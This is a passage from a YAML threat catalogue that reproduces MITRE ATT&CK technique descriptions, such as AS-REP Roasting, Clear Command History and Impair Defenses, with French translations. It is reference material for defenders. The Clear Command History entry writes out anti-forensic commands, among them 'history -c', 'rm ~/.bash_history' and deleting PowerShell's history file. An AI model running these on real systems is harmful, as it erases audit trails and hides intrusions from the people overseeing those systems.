      \ SANS Attacking Kerberos Nov 2014)\nhttps://attack.mitre.org/techniques/T1558/004"
    translations:
      fr:
        name: "Torr\xE9faction AS-REP"
        description: "Les adversaires peuvent r\xE9v\xE9ler les informations d\u2019\
          identification des comptes qui ont d\xE9sactiv\xE9 la pr\xE9-authentification\
          \ Kerberos par des messages Kerberos [Craquage de mot de passe](https://attack.mitre.org/techniques/T1110/002).\
          \ (Citation : Harmj0y Roasting AS-REPs janvier 2017) \n\nLa pr\xE9-authentification\
          \ offre une protection contre le [craquage de mot de passe](https://attack.mitre.org/techniques/T1110/002).\
          \ Lorsque cette option est activ\xE9e, un utilisateur demandant l\u2019\
          acc\xE8s \xE0 une ressource initie la communication avec le contr\xF4leur\
          \ de domaine (DC) en envoyant un message de demande de serveur d\u2019authentification\
          \ (AS-REQ) avec un horodatage chiffr\xE9 avec le hachage de son mot de passe.\
          \ Si et seulement si le contr\xF4leur de domaine est en mesure de d\xE9\
          chiffrer l\u2019horodatage avec le hachage du mot de passe de l\u2019utilisateur,\
          \ il enverra alors un message de r\xE9ponse du serveur d\u2019authentification\
          \ (AS-REP) contenant le ticket d\u2019octroi de ticket (TGT) \xE0 l\u2019\
          utilisateur. Une partie du message AS-REP est sign\xE9e avec le mot de passe\
          \ de l\u2019utilisateur. (Citation : Microsoft Kerberos Preauth 2014)\n\n\
          Pour chaque compte trouv\xE9 sans pr\xE9-authentification, un adversaire\
          \ peut envoyer un message AS-REQ sans l\u2019horodatage chiffr\xE9 et recevoir\
          \ un message AS-REP avec des donn\xE9es TGT qui peuvent \xEAtre chiffr\xE9\
          es \xE0 l\u2019aide d\u2019un algorithme non s\xE9curis\xE9 tel que RC4.\
          \ Les donn\xE9es chiffr\xE9es r\xE9cup\xE9r\xE9es peuvent \xEAtre vuln\xE9\
          rables aux attaques hors ligne [Password Cracking](https://attack.mitre.org/techniques/T1110/002)\
          \ de la m\xEAme mani\xE8re qu\u2019\xE0 [Kerberoasting](https://attack.mitre.org/techniques/T1558/003)\
          \ et exposer des informations d\u2019identification en texte clair. (Citation\
          \ : Harmj0y Roasting AS-REPs janvier 2017)(Citation : Stealthbits Cracking\
          \ AS-REP Roasting juin 2019) \n\nUn compte enregistr\xE9 dans un domaine,\
          \ avec ou sans privil\xE8ges sp\xE9ciaux, peut \xEAtre utilis\xE9 de mani\xE8\
          re abusive pour r\xE9pertorier tous les comptes de domaine dont la pr\xE9\
          -authentification est d\xE9sactiv\xE9e \xE0 l\u2019aide d\u2019outils Windows\
          \ tels que [PowerShell](https://attack.mitre.org/techniques/T1059/001) avec\
          \ un filtre LDAP. L\u2019adversaire peut \xE9galement envoyer un message\
          \ AS-REQ pour chaque utilisateur. Si le contr\xF4leur de domaine r\xE9pond\
          \ sans erreur, le compte ne n\xE9cessite pas de pr\xE9-authentification\
          \ et le message AS-REP contiendra d\xE9j\xE0 les donn\xE9es chiffr\xE9es.\
          \ (Citation : Harmj0y Roasting AS-REPs janvier 2017)(Citation : Stealthbits\
          \ Cracking AS-REP Roasting juin 2019)\n\nLes hachages pirat\xE9s peuvent\
          \ activer [Persistance](https://attack.mitre.org/tactics/TA0003), [\xC9\
          l\xE9vation de privil\xE8ges](https://attack.mitre.org/tactics/TA0004) et\
          \ [Mouvement lat\xE9ral](https://attack.mitre.org/tactics/TA0008) via l\u2019\
          acc\xE8s \xE0 [Comptes valides](https://attack.mitre.org/techniques/T1078).\
          \ (Citation : SANS attaquant Kerberos novembre 2014)\nhttps://attack.mitre.org/techniques/T1558/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1584.003
    ref_id: T1584.003
    name: Virtual Private Server
    description: 'Adversaries may compromise third-party Virtual Private Servers (VPSs)
      that can be used during targeting. There exist a variety of cloud service providers
      that will sell virtual machines/containers as a service. Adversaries may compromise
      VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure,
      adversaries can make it difficult to physically tie back operations to themselves.(Citation:
      NSA NCSC Turla OilRig)


      Compromising a VPS for use in later stages of the adversary lifecycle, such
      as Command and Control, can allow adversaries to benefit from the ubiquity and
      trust associated with higher reputation cloud service providers as well as that
      added by the compromised third-party.

      https://attack.mitre.org/techniques/T1584/003'
    translations:
      fr:
        name: "Serveur Priv\xE9 Virtuel"
        description: "Les adversaires peuvent compromettre les serveurs priv\xE9s\
          \ virtuels (VPS) tiers qui peuvent \xEAtre utilis\xE9s lors du ciblage.\
          \ Il existe une vari\xE9t\xE9 de fournisseurs de services cloud qui vendent\
          \ des machines virtuelles/conteneurs en tant que service. Les adversaires\
          \ peuvent compromettre les VPS achet\xE9s par des entit\xE9s tierces. En\
          \ compromettant un VPS pour l\u2019utiliser comme infrastructure, les adversaires\
          \ peuvent rendre difficile le lien physique entre les op\xE9rations. (Citation\
          \ : NSA NCSC Turla OilRig)\n\nLa compromission d\u2019un VPS pour une utilisation\
          \ dans les \xE9tapes ult\xE9rieures du cycle de vie de l\u2019adversaire,\
          \ telles que la commande et le contr\xF4le, peut permettre aux adversaires\
          \ de b\xE9n\xE9ficier de l\u2019omnipr\xE9sence et de la confiance associ\xE9\
          es aux fournisseurs de services cloud de meilleure r\xE9putation, ainsi\
          \ que de celles ajout\xE9es par le tiers compromis.\nhttps://attack.mitre.org/techniques/T1584/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1059.010
    ref_id: T1059.010
    name: AutoHotKey & AutoIT
    description: 'Adversaries may execute commands and perform malicious tasks using
      AutoIT and AutoHotKey automation scripts. AutoIT and AutoHotkey (AHK) are scripting
      languages that enable users to automate Windows tasks. These automation scripts
      can be used to perform a wide variety of actions, such as clicking on buttons,
      entering text, and opening and closing programs.(Citation: AutoIT)(Citation:
      AutoHotKey)


      Adversaries may use AHK (`.ahk`) and AutoIT (`.au3`) scripts to execute malicious
      code on a victim''s system. For example, adversaries have used for AHK to execute
      payloads and other modular malware such as keyloggers. Adversaries have also
      used custom AHK files containing embedded malware as [Phishing](https://attack.mitre.org/techniques/T1566)
      payloads.(Citation: Splunk DarkGate)


      These scripts may also be compiled into self-contained executable payloads (`.exe`).(Citation:
      AutoIT)(Citation: AutoHotKey)

      https://attack.mitre.org/techniques/T1059/010'
    translations:
      fr:
        name: AutoHotKey et AutoIT
        description: "Les adversaires peuvent ex\xE9cuter des commandes et effectuer\
          \ des t\xE2ches malveillantes \xE0 l\u2019aide de scripts d\u2019automatisation\
          \ AutoIT et AutoHotKey. AutoIT et AutoHotkey (AHK) sont des langages de\
          \ script qui permettent aux utilisateurs d\u2019automatiser les t\xE2ches\
          \ Windows. Ces scripts d\u2019automatisation peuvent \xEAtre utilis\xE9\
          s pour effectuer une grande vari\xE9t\xE9 d\u2019actions, telles que cliquer\
          \ sur des boutons, saisir du texte et ouvrir et fermer des programmes. (Citation\
          \ : AutoIT)(Citation : AutoHotKey)\n\nLes adversaires peuvent utiliser des\
          \ scripts AHK ('.ahk') et AutoIT ('.au3') pour ex\xE9cuter du code malveillant\
          \ sur le syst\xE8me d\u2019une victime. Par exemple, des adversaires ont\
          \ utilis\xE9 AHK pour ex\xE9cuter des charges utiles et d\u2019autres logiciels\
          \ malveillants modulaires tels que des enregistreurs de frappe. Les adversaires\
          \ ont \xE9galement utilis\xE9 des fichiers AHK personnalis\xE9s contenant\
          \ des logiciels malveillants int\xE9gr\xE9s comme charges utiles [Phishing](https://attack.mitre.org/techniques/T1566).\
          \ (Citation : Splunk DarkGate)\n\nCes scripts peuvent \xE9galement \xEA\
          tre compil\xE9s en charges utiles ex\xE9cutables autonomes ('.exe'). (Citation\
          \ : AutoIT)(Citation : AutoHotKey)\nhttps://attack.mitre.org/techniques/T1059/010"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1600.001
    ref_id: T1600.001
    name: Reduce Key Space
    description: 'Adversaries may reduce the level of effort required to decrypt data
      transmitted over the network by reducing the cipher strength of encrypted communications.(Citation:
      Cisco Synful Knock Evolution)


      Adversaries can weaken the encryption software on a compromised network device
      by reducing the key size used by the software to convert plaintext to ciphertext
      (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a
      result, adversaries dramatically reduce the amount of effort needed to decrypt
      the protected information without the key.


      Adversaries may modify the key size used and other encryption parameters using
      specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)
      introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601)
      to change the configuration of the device. (Citation: Cisco Blog Legacy Device
      Attacks)

      https://attack.mitre.org/techniques/T1600/001'
    translations:
      fr:
        name: "R\xE9duire l\u2019espace cl\xE9"
        description: "Les adversaires peuvent r\xE9duire le niveau d\u2019effort requis\
          \ pour d\xE9chiffrer les donn\xE9es transmises sur le r\xE9seau en r\xE9\
          duisant la force de chiffrement des communications chiffr\xE9es. (Citation\
          \ : Cisco Synful Knock Evolution)\n\nLes adversaires peuvent affaiblir le\
          \ logiciel de chiffrement d\u2019un p\xE9riph\xE9rique r\xE9seau compromis\
          \ en r\xE9duisant la taille de la cl\xE9 utilis\xE9e par le logiciel pour\
          \ convertir le texte en clair en texte chiffr\xE9 (par exemple, de centaines\
          \ ou de milliers d\u2019octets \xE0 quelques octets seulement). Par cons\xE9\
          quent, les adversaires r\xE9duisent consid\xE9rablement la quantit\xE9 d\u2019\
          efforts n\xE9cessaires pour d\xE9chiffrer les informations prot\xE9g\xE9\
          es sans la cl\xE9.\n\nLes adversaires peuvent modifier la taille de la cl\xE9\
          \ utilis\xE9e et d\u2019autres param\xE8tres de chiffrement \xE0 l\u2019\
          aide de commandes sp\xE9cialis\xE9es dans une [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)\
          \ introduite dans le syst\xE8me via [Modifier l\u2019image syst\xE8me](https://attack.mitre.org/techniques/T1601)\
          \ pour modifier la configuration du p\xE9riph\xE9rique. (Citation : Blog\
          \ Cisco Legacy Device Attacks)\nhttps://attack.mitre.org/techniques/T1600/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1070.003
    ref_id: T1070.003
    name: Clear Command History
    description: "In addition to clearing system logs, an adversary may clear the\
      \ command history of a compromised account to conceal the actions undertaken\
      \ during an intrusion. Various command interpreters keep track of the commands\
      \ users type in their terminal so that users can retrace what they've done.\n\
      \nOn Linux and macOS, these command histories can be accessed in a few different\
      \ ways. While logged in, this command history is tracked in a file pointed to\
      \ by the environment variable <code>HISTFILE</code>. When a user logs off a\
      \ system, this information is flushed to a file in the user's home directory\
      \ called <code>~/.bash_history</code>. The benefit of this is that it allows\
      \ users to go back to commands they've used before in different sessions.\n\n\
      Adversaries may delete their commands from these logs by manually clearing the\
      \ history (<code>history -c</code>) or deleting the bash history file <code>rm\
      \ ~/.bash_history</code>.  \n\nAdversaries may also leverage a [Network Device\
      \ CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to\
      \ clear command history data (<code>clear logging</code> and/or <code>clear\
      \ history</code>).(Citation: US-CERT-TA18-106A)\n\nOn Windows hosts, PowerShell\
      \ has two different command history providers: the built-in history and the\
      \ command history managed by the <code>PSReadLine</code> module. The built-in\
      \ history only tracks the commands used in the current session. This command\
      \ history is not available to other sessions and is deleted when the session\
      \ ends.\n\nThe <code>PSReadLine</code> command history tracks the commands used\
      \ in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\\\
      Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt</code> by\
      \ default). This history file is available to all sessions and contains all\
      \ past history since the file is not deleted when the session ends.(Citation:\
      \ Microsoft PowerShell Command History)\n\nAdversaries may run the PowerShell\
      \ command <code>Clear-History</code> to flush the entire command history from\
      \ a current PowerShell session. This, however, will not delete/flush the <code>ConsoleHost_history.txt</code>\
      \ file. Adversaries may also delete the <code>ConsoleHost_history.txt</code>\
      \ file or edit its contents to hide PowerShell commands they have run.(Citation:\
      \ Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History\
      \ Forensics)\nhttps://attack.mitre.org/techniques/T1070/003"
    translations:
      fr:
        name: "Effacer l\u2019historique des commandes"
        description: "En plus d\u2019effacer les journaux syst\xE8me, un adversaire\
          \ peut effacer l\u2019historique des commandes d\u2019un compte compromis\
          \ pour dissimuler les actions entreprises lors d\u2019une intrusion. Divers\
          \ interpr\xE9teurs de commandes gardent une trace des commandes que les\
          \ utilisateurs saisissent dans leur terminal afin que les utilisateurs puissent\
          \ retracer ce qu\u2019ils ont fait.\n\nSous Linux et macOS, ces historiques\
          \ de commandes sont accessibles de diff\xE9rentes mani\xE8res. Lorsque vous\
          \ \xEAtes connect\xE9, cet historique de commandes est suivi dans un fichier\
          \ point\xE9 par la variable <code>d\u2019environnement HISTFILE.</code>\
          \ Lorsqu\u2019un utilisateur se d\xE9connecte d\u2019un syst\xE8me, ces\
          \ informations sont vid\xE9es dans un fichier appel\xE9 <code>~/.bash_history</code>\
          \ dans le r\xE9pertoire personnel de l\u2019utilisateur. L\u2019avantage\
          \ est qu\u2019il permet aux utilisateurs de revenir aux commandes qu\u2019\
          ils ont d\xE9j\xE0 utilis\xE9es dans diff\xE9rentes sessions.\n\nLes adversaires\
          \ peuvent supprimer leurs commandes de ces journaux en effa\xE7ant manuellement\
          \ l\u2019historique (<code>history -c</code>) ou en supprimant le fichier\
          \ d\u2019historique bash <code>rm ~/.bash_history</code>.  \n\nLes adversaires\
          \ peuvent \xE9galement exploiter une [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)\
          \ sur les p\xE9riph\xE9riques r\xE9seau pour effacer les donn\xE9es de l\u2019\
          historique des commandes (<code>effacer la journalisation</code> et/ou <code>effacer\
          \ l\u2019historique</code>). (R\xE9f\xE9rence : US-CERT-TA18-106A)\n\nSur\
          \ les h\xF4tes Windows, PowerShell dispose de deux fournisseurs d\u2019\
          historique des commandes diff\xE9rents : l\u2019historique int\xE9gr\xE9\
          \ et l\u2019historique des commandes g\xE9r\xE9 par le module <code>PSReadLine</code>.\
          \ L\u2019historique int\xE9gr\xE9 ne suit que les commandes utilis\xE9es\
          \ dans la session en cours. Cet historique de commandes n\u2019est pas disponible\
          \ pour les autres sessions et est supprim\xE9 \xE0 la fin de la session.\n\
          \nL\u2019historique des commandes <code>PSReadLine</code> suit les commandes\
          \ utilis\xE9es dans toutes les sessions PowerShell et les \xE9crit dans\
          \ un fichier (<code>$env\_:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\\
          ConsoleHost_history.txt</code> par d\xE9faut). Ce fichier d\u2019historique\
          \ est disponible pour toutes les sessions et contient tout l\u2019historique\
          \ pass\xE9, car le fichier n\u2019est pas supprim\xE9 \xE0 la fin de la\
          \ session. (Citation : Historique des commandes Microsoft PowerShell)\n\n\
          Les adversaires peuvent ex\xE9cuter la commande PowerShell <code>Clear-History</code>\
          \ pour vider l\u2019int\xE9gralit\xE9 de l\u2019historique des commandes\
          \ d\u2019une session PowerShell en cours. Cependant, cela ne supprimera\
          \ pas/videra le fichier <code>ConsoleHost_history.txt</code>. Les adversaires\
          \ peuvent \xE9galement supprimer le fichier <code>ConsoleHost_history.txt</code>\
          \ ou modifier son contenu pour masquer les commandes PowerShell qu\u2019\
          ils ont ex\xE9cut\xE9es. (Citation : audit de commande Sophos PowerShell)(Citation\
          \ : Sophos PowerShell Command History Forensics)\nhttps://attack.mitre.org/techniques/T1070/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1202
    ref_id: T1202
    name: Indirect Command Execution
    description: 'Adversaries may abuse utilities that allow for command execution
      to bypass security restrictions that limit the use of command-line interpreters.
      Various Windows utilities may be used to execute commands, possibly without
      invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193),
      the Program Compatibility Assistant (pcalua.exe), components of the Windows
      Subsystem for Linux (WSL), Scriptrunner.exe, as well as other utilities may
      invoke the execution of programs and commands from a [Command and Scripting
      Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via
      scripts.(Citation: VectorSec ForFiles Aug 2017)(Citation: Evi1cg Forfiles Nov
      2017)(Citation: Secure Team - Scriptrunner.exe)(Citation: SS64)(Citation: Bleeping
      Computer - Scriptrunner.exe)


      Adversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005),
      specifically to perform arbitrary execution while subverting detections and/or
      mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106)
      or file extensions more commonly associated with malicious payloads.

      https://attack.mitre.org/techniques/T1202'
    translations:
      fr:
        name: "Ex\xE9cution indirecte de commandes"
        description: "Les adversaires peuvent abuser des utilitaires qui permettent\
          \ l\u2019ex\xE9cution de commandes pour contourner les restrictions de s\xE9\
          curit\xE9 qui limitent l\u2019utilisation des interpr\xE9teurs de ligne\
          \ de commande. Divers utilitaires Windows peuvent \xEAtre utilis\xE9s pour\
          \ ex\xE9cuter des commandes, \xE9ventuellement sans invoquer [cmd](https://attack.mitre.org/software/S0106).\
          \ Par exemple, [Forfiles](https://attack.mitre.org/software/S0193), l\u2019\
          Assistant de compatibilit\xE9 des programmes (pcalua.exe), les composants\
          \ du sous-syst\xE8me Windows pour Linux (WSL), Scriptrunner.exe, ainsi que\
          \ d\u2019autres utilitaires peuvent appeler l\u2019ex\xE9cution de programmes\
          \ et de commandes \xE0 partir d\u2019un [Interpr\xE9teur de commandes et\
          \ de scripts](https://attack.mitre.org/techniques/T1059), d\u2019une fen\xEA\
          tre d\u2019ex\xE9cution ou via des scripts. (Citation\_: VectorSec ForFiles\
          \ ao\xFBt 2017)(Citation\_: evi1cg forfiles novembre 2017)(Citation : \xC9\
          quipe s\xE9curis\xE9e - Scriptrunner.exe)(R\xE9f\xE9rence : SS64)(Citation\
          \ : Ordinateur qui bipe - Scriptrunner.exe)\n\nLes adversaires peuvent abuser\
          \ de ces fonctionnalit\xE9s pour [Defense Evasion](https://attack.mitre.org/tactics/TA0005),\
          \ en particulier pour effectuer une ex\xE9cution arbitraire tout en contournant\
          \ les d\xE9tections et/ou les contr\xF4les d\u2019att\xE9nuation (tels que\
          \ la strat\xE9gie de groupe) qui limitent/emp\xEAchent l\u2019utilisation\
          \ de [cmd](https://attack.mitre.org/software/S0106) ou d\u2019extensions\
          \ de fichiers plus couramment associ\xE9es \xE0 des charges utiles malveillantes.\n\
          https://attack.mitre.org/techniques/T1202"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1091
    ref_id: T1091
    name: Replication Through Removable Media
    description: 'Adversaries may move onto systems, possibly those on disconnected
      or air-gapped networks, by copying malware to removable media and taking advantage
      of Autorun features when the media is inserted into a system and executes. In
      the case of Lateral Movement, this may occur through modification of executable
      files stored on removable media or by copying malware and renaming it to look
      like a legitimate file to trick users into executing it on a separate system.
      In the case of Initial Access, this may occur through manual manipulation of
      the media, modification of systems used to initially format the media, or modification
      to the media''s firmware itself.


      Mobile devices may also be used to infect PCs with malware if connected via
      USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using
      devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation:
      Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For
      example, when a smartphone is connected to a system, it may appear to be mounted
      similar to a USB-connected disk drive. If malware that is compatible with the
      connected system is on the mobile device, the malware could infect the machine
      (especially if Autorun features are enabled).

      https://attack.mitre.org/techniques/T1091'
    translations:
      fr:
        name: "R\xE9plication via un support amovible"
        description: "Les adversaires peuvent s\u2019attaquer aux syst\xE8mes, \xE9\
          ventuellement ceux situ\xE9s sur des r\xE9seaux d\xE9connect\xE9s ou isol\xE9\
          s, en copiant des logiciels malveillants sur des supports amovibles et en\
          \ tirant parti des fonctionnalit\xE9s Autorun lorsque le support est ins\xE9\
          r\xE9 dans un syst\xE8me et s\u2019ex\xE9cute. Dans le cas du mouvement\
          \ lat\xE9ral, cela peut se produire en modifiant les fichiers ex\xE9cutables\
          \ stock\xE9s sur des supports amovibles ou en copiant des logiciels malveillants\
          \ et en les renommant pour qu\u2019ils ressemblent \xE0 des fichiers l\xE9\
          gitimes afin d\u2019inciter les utilisateurs \xE0 l\u2019ex\xE9cuter sur\
          \ un syst\xE8me distinct. Dans le cas de l\u2019acc\xE8s initial, cela peut\
          \ se produire par le biais d\u2019une manipulation manuelle du support,\
          \ d\u2019une modification des syst\xE8mes utilis\xE9s pour formater initialement\
          \ le support ou d\u2019une modification du micrologiciel du support lui-m\xEA\
          me.\n\nLes appareils mobiles peuvent \xE9galement \xEAtre utilis\xE9s pour\
          \ infecter les PC avec des logiciels malveillants s\u2019ils sont connect\xE9\
          s via USB. (Citation : Exploitation de l\u2019USB du smartphone) Cette infection\
          \ peut \xEAtre r\xE9alis\xE9e \xE0 l\u2019aide d\u2019appareils (Android,\
          \ iOS, etc.) et, dans certains cas, de c\xE2bles de charge USB. (Citation\
          \ : Un logiciel malveillant Windows infecte Android)(Citation\_: Piratage\
          \ du c\xE2ble de charge de l\u2019iPhone) Par exemple, lorsqu\u2019un smartphone\
          \ est connect\xE9 \xE0 un syst\xE8me, il peut sembler \xEAtre mont\xE9 de\
          \ la m\xEAme mani\xE8re qu\u2019un lecteur de disque connect\xE9 par USB.\
          \ Si un logiciel malveillant compatible avec le syst\xE8me connect\xE9 se\
          \ trouve sur l\u2019appareil mobile, le logiciel malveillant peut infecter\
          \ l\u2019ordinateur (en particulier si les fonctionnalit\xE9s d\u2019ex\xE9\
          cution automatique sont activ\xE9es).\nhttps://attack.mitre.org/techniques/T1091"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1005
    ref_id: T1005
    name: Data from Local System
    description: 'Adversaries may search local system sources, such as file systems
      and configuration files or local databases, to find files of interest and sensitive
      data prior to Exfiltration.


      Adversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059),
      such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network
      Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality
      to interact with the file system to gather information.(Citation: show_run_config_cmd_cisco)
      Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119)
      on the local system.

      https://attack.mitre.org/techniques/T1005'
    translations:
      fr:
        name: "Donn\xE9es du syst\xE8me local"
        description: "Les adversaires peuvent rechercher des sources de syst\xE8me\
          \ locales, telles que des syst\xE8mes de fichiers et des fichiers de configuration\
          \ ou des bases de donn\xE9es locales, pour trouver des fichiers d\u2019\
          int\xE9r\xEAt et des donn\xE9es sensibles avant l\u2019exfiltration.\n\n\
          Les adversaires peuvent le faire \xE0 l\u2019aide d\u2019un [Interpr\xE9\
          teur de commandes et de scripts](https://attack.mitre.org/techniques/T1059),\
          \ tel que [cmd](https://attack.mitre.org/software/S0106) ainsi que d\u2019\
          une [Network Device CLI](https://attack.mitre.org/techniques/T1059/008),\
          \ qui ont la fonctionnalit\xE9 d\u2019interagir avec le syst\xE8me de fichiers\
          \ pour collecter des informations. (R\xE9f\xE9rence : show_run_config_cmd_cisco)\
          \ Les adversaires peuvent \xE9galement utiliser [Collecte automatis\xE9\
          e](https://attack.mitre.org/techniques/T1119) sur le syst\xE8me local.\n\
          https://attack.mitre.org/techniques/T1005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1140
    ref_id: T1140
    name: Deobfuscate/Decode Files or Information
    description: 'Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027)
      to hide artifacts of an intrusion from analysis. They may require separate mechanisms
      to decode or deobfuscate that information depending on how they intend to use
      it. Methods for doing that include built-in functionality of malware or by using
      utilities present on the system.


      One such example is the use of [certutil](https://attack.mitre.org/software/S0160)
      to decode a remote access tool portable executable file that has been hidden
      inside a certificate file.(Citation: Malwarebytes Targeted Attack against Saudi
      Arabia) Another example is using the Windows <code>copy /b</code> command to
      reassemble binary fragments into a malicious payload.(Citation: Carbon Black
      Obfuscation Sept 2016)


      Sometimes a user''s action may be required to open it for deobfuscation or decryption
      as part of [User Execution](https://attack.mitre.org/techniques/T1204). The
      user may also be required to input a password to open a password protected compressed/encrypted
      file that was provided by the adversary. (Citation: Volexity PowerDuke November
      2016)

      https://attack.mitre.org/techniques/T1140'
    translations:
      fr:
        name: "D\xE9brouiller/d\xE9coder des fichiers ou des informations"
        description: "Les adversaires peuvent utiliser [Fichiers ou informations obfusqu\xE9\
          s](https://attack.mitre.org/techniques/T1027) pour masquer les artefacts\
          \ d\u2019une intrusion \xE0 l\u2019analyse. Ils peuvent avoir besoin de\
          \ m\xE9canismes distincts pour d\xE9coder ou d\xE9brouiller ces informations\
          \ en fonction de la fa\xE7on dont ils ont l\u2019intention de les utiliser.\
          \ Les m\xE9thodes pour ce faire incluent la fonctionnalit\xE9 int\xE9gr\xE9\
          e des logiciels malveillants ou l\u2019utilisation d\u2019utilitaires pr\xE9\
          sents sur le syst\xE8me.\n\nUn tel exemple est l\u2019utilisation de [certutil](https://attack.mitre.org/software/S0160)\
          \ pour d\xE9coder un fichier ex\xE9cutable portable d\u2019outil d\u2019\
          acc\xE8s \xE0 distance qui a \xE9t\xE9 cach\xE9 dans un fichier de certificat.\
          \ (Citation : Attaque cibl\xE9e de Malwarebytes contre l\u2019Arabie saoudite)\
          \ Un autre exemple est l\u2019utilisation de la commande Windows <code>copy\
          \ /b</code> pour r\xE9assembler des fragments binaires en une charge utile\
          \ malveillante. (Citation : Obfuscation du noir de carbone septembre 2016)\n\
          \nParfois, l\u2019action d\u2019un utilisateur peut \xEAtre n\xE9cessaire\
          \ pour l\u2019ouvrir \xE0 des fins de d\xE9sobfuscation ou de d\xE9chiffrement\
          \ dans le cadre de [Ex\xE9cution par l\u2019utilisateur](https://attack.mitre.org/techniques/T1204).\
          \ L\u2019utilisateur peut \xE9galement \xEAtre tenu de saisir un mot de\
          \ passe pour ouvrir un fichier compress\xE9/chiffr\xE9 prot\xE9g\xE9 par\
          \ un mot de passe qui a \xE9t\xE9 fourni par l\u2019adversaire. (Citation\
          \ : Volexity PowerDuke, novembre 2016)\nhttps://attack.mitre.org/techniques/T1140"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1137.005
    ref_id: T1137.005
    name: Outlook Rules
    description: "Adversaries may abuse Microsoft Outlook rules to obtain persistence\
      \ on a compromised system. Outlook rules allow a user to define automated behavior\
      \ to manage email messages. A benign rule might, for example, automatically\
      \ move an email to a particular folder in Outlook if it contains specific words\
      \ from a specific sender. Malicious Outlook rules can be created that can trigger\
      \ code execution when an adversary sends a specifically crafted email to that\
      \ user.(Citation: SilentBreak Outlook Rules)\n\nOnce malicious rules have been\
      \ added to the user\u2019s mailbox, they will be loaded when Outlook is started.\
      \ Malicious rules will execute when an adversary sends a specifically crafted\
      \ email to the user.(Citation: SilentBreak Outlook Rules)\nhttps://attack.mitre.org/techniques/T1137/005"
    translations:
      fr:
        name: "R\xE8gles Outlook"
        description: "Les adversaires peuvent abuser des r\xE8gles de Microsoft Outlook\
          \ pour obtenir la persistance sur un syst\xE8me compromis. Les r\xE8gles\
          \ Outlook permettent \xE0 un utilisateur de d\xE9finir un comportement automatis\xE9\
          \ pour g\xE9rer les messages \xE9lectroniques. Une r\xE8gle b\xE9nigne peut,\
          \ par exemple, d\xE9placer automatiquement un e-mail vers un dossier particulier\
          \ dans Outlook s\u2019il contient des mots sp\xE9cifiques provenant d\u2019\
          un exp\xE9diteur sp\xE9cifique. Des r\xE8gles Outlook malveillantes peuvent\
          \ \xEAtre cr\xE9\xE9es et d\xE9clencher l\u2019ex\xE9cution de code lorsqu\u2019\
          un adversaire envoie un e-mail sp\xE9cialement con\xE7u \xE0 cet utilisateur.\
          \ (Citation : R\xE8gles SilentBreak Outlook)\n\nUne fois que des r\xE8gles\
          \ malveillantes ont \xE9t\xE9 ajout\xE9es \xE0 la bo\xEEte aux lettres de\
          \ l\u2019utilisateur, elles sont charg\xE9es au d\xE9marrage d\u2019Outlook.\
          \ Des r\xE8gles malveillantes s\u2019ex\xE9cutent lorsqu\u2019un adversaire\
          \ envoie un e-mail sp\xE9cialement con\xE7u \xE0 l\u2019utilisateur. (Citation\
          \ : R\xE8gles SilentBreak Outlook)\nhttps://attack.mitre.org/techniques/T1137/005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1562
    ref_id: T1562
    name: Impair Defenses
    description: 'Adversaries may maliciously modify components of a victim environment
      in order to hinder or disable defensive mechanisms. This not only involves impairing
      preventative defenses, such as firewalls and anti-virus, but also detection
      capabilities that defenders can use to audit activity and identify malicious
      behavior. This may also span both native defenses as well as supplemental capabilities
      installed by users and administrators.


      Adversaries may also impair routine operations that contribute to defensive
      hygiene, such as blocking users from logging out, preventing a system from shutting
      down, or disabling or modifying the update process. Adversaries could also target
      event aggregation and analysis mechanisms, or otherwise disrupt these procedures
      by altering other system components. These restrictions can further enable malicious
      operations as well as the continued propagation of incidents.(Citation: Google
      Cloud Mandiant UNC3886 2024)(Citation: Emotet shutdown)

      https://attack.mitre.org/techniques/T1562'
    translations:
      fr:
        name: "Affaiblir les d\xE9fenses"
        description: "Les adversaires peuvent modifier de mani\xE8re malveillante\
          \ des composants de l\u2019environnement d\u2019une victime afin d\u2019\
          entraver ou de d\xE9sactiver les m\xE9canismes d\xE9fensifs. Cela implique\
          \ non seulement d\u2019alt\xE9rer les d\xE9fenses pr\xE9ventives, telles\
          \ que les pare-feu et les antivirus, mais aussi les capacit\xE9s de d\xE9\
          tection que les d\xE9fenseurs peuvent utiliser pour auditer l\u2019activit\xE9\
          \ et identifier les comportements malveillants. Cela peut \xE9galement couvrir\
          \ \xE0 la fois les d\xE9fenses natives et les fonctionnalit\xE9s suppl\xE9\
          mentaires install\xE9es par les utilisateurs et les administrateurs.\n\n\
          Les adversaires peuvent \xE9galement entraver les op\xE9rations de routine\
          \ qui contribuent \xE0 l\u2019hygi\xE8ne d\xE9fensive, telles que le blocage\
          \ de la d\xE9connexion des utilisateurs, l\u2019arr\xEAt d\u2019un syst\xE8\
